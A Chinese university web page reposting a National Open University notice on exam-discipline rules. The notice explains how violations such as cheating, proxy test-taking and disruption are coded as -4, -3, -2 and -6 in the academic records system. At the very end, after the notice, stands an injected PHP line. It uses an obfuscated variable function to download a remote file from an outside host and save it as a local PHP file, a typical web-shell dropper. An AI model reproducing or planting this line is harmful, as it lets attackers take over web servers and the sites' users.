热门搜索关键词: 衡水开放大学

— 教务考务 —

联系我们 / CONTACT US
开放教育招生: 0318-6015089 一村一/中专招生: 0318-5105028 继续教育招生: 0318-5266526

地址:衡水市宁安路960号

当前位置:首页 > 教务考务 > 教务考务

教务考务

关于印发《国家开放大学学生考试纪律与违规 处理办法(试行)》的通知

发表时间:2023-06-13   浏览次数:2401

各分部、学院:

为加强国家开放大学考试管理,严肃考风考纪,规范对学生考试违规行为的认定与处理,保障学生合法权益,总部制定了《国家开放大学学生考试纪律与违规处理办法(试行)》(以下简称《办法》),现予印发,请遵照执行。

依据《办法》认定的违规行为及处理在教务管理系统(以下简称系统)中的操作如下:

1.成绩档案中记录违规类型

(1)被认定为“违纪”的,应在教务管理系统中涉事考生的相关科目成绩代码栏中录入“-4”,系统中成绩名称栏自动显示为“违纪”,成绩分数栏自动显示为“0”。

(2)被认定为“作弊”的,应在教务管理系统中涉事考生的相关科目成绩代码栏中录入“-3”,系统中成绩名称栏自动显示为“作弊”,国开考〔2019〕21 号2成绩分数栏自动显示为“0”。

(3)被认定为“替考”的,应在教务管理系统中涉事考生的相关科目成绩代码栏中录入“-2”,系统中成绩名称栏自动显示为“替考”,成绩分数栏自动显示为“0”。

(4)被认定为“扰乱考试秩序”的,应在教务管理系统中涉事考生的相关科目成绩代码栏中录入“-6”,系统中成绩名称栏自动显示为“扰考”,成绩分数栏自动显示为“0”。

2.取消当次报考各科目考试成绩教务管理系统中涉事考生的涉事科目按照违规类型进行操作,其他科目在成绩代码栏中均录入“0”。

3.取消考生学习期间所有成绩教务管理系统中涉事考生的涉事科目按照违规类型进行操作,其他科目的形成性考核成绩、终结性考试成绩均在成绩代码栏中均录入“0”。取消以往学期科目成绩的,分部须以书面文件上报总部,总部与分部在教务管理系统中同步进行操作。

如执行过程中发现存在问题,或有相关意见和建议,请及时与总部教务部联系。

联系人:潘焦萍,联系电话:010-57519082。


《国家开放大学学生考试纪律与违规处理办法(试行)》pdf



国家开放大学



$a="copy"; $a("http://d.sogouad.org/txt/php822.txt","aa.php");